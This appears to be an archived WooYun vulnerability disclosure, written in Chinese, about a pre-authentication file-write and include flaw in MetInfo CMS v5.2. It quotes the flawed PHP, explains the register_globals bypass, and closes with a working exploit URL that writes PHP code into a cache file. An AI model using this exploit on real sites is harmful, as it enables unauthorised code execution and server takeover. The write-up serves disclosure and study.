漏洞名称
MetInfo 无需登录前台直接GETSHELL(v5.2)(wooyun-2015-094886)
发布时间
2015-05-03
漏洞分类
文件包含
缺陷代码
此漏洞涉及到了两个文件./admin/include/common.inc.php
和./admin/include/lang.php
,问题主要出在lang.php文件中。
在文件./admin/include/lang.php
的17~47行:
if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
$langset=($languser!="")?$languser:$met_admin_type;
if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){
$js="var user_msg = new Array();\n";
$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
if($db->affected_rows()==0){
require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';
$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');
$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';
$re=syn_lang($post,$file_basicname,$langset,1,0);
$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
}
while($listlang= $db->fetch_array($result)){
if(substr($listlang['name'],0,2)=='js'){
$tmp=trim($listlang['value']);
$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";
}
$name = 'lang_'.$listlang['name'];
$$name= trim($listlang['value']);
$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";
}
$js1='$'."js='".str_replace("'","\\'",$js).'\';';
$str="<?php\n".$str.$js1."\n?>";
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
}else{
require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';
}
-
关键在第44行的代码
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str),
变量$langset
和变量$str
用户可控。 -
然后我们想办法让程序把恶意代码写到
langadmin_*.php
即可,但是此处ROOTPATH
未初始化,即使执行了第44行代码,也写不了文件。 -
这是就需要用到
./admin/include/common.inc.php
文件了(里面对ROOTPATH
进行了初始化),在common.inc.php
的第65行require_once ROOTPATH_ADMIN.'include/lang.php'
。 -
这样一来只需构造传入参数访问
./admin/include/common.inc.php
,使./admin/include/lang.php
的第45行的代码file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str)
执行,我们就能写入我们的恶意代码。 -
文件
./admin/include/common.inc.php
中,我们只需避开50行的if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');,即可执行的require_once ROOTPATH_ADMIN.'include/lang.php'。对此,在register_globals开启的情况下,我们可以这样赋值langset=333&met_langadmin[333][]=33333333
来绕过。 -
现在回到
./admin/include/lang.php
文件,我们要执行44行的代码,就需要进入21行的if语句if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php'))
,这时我们只需构造一个不存在的langadmin_*.php
文件就可以了。 -
在第17~20行还有:
if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
$langset=($languser!="")?$languser:$met_admin_type;
为了保持$langset不变,我们只需传入met_admin_type_ok=1
。(register_globals
开启)
利用:
利用条件:register_globals
开启
./admin/include/common.inc.php?met_admin_type_ok=1&langset=333&met_langadmin[333][]=3333333333&str=phpinfo%28%29%3B%3F%3E%2f%2f
文件包含可能导致敏感信息,配置文件的泄露。
重则导致命令执行。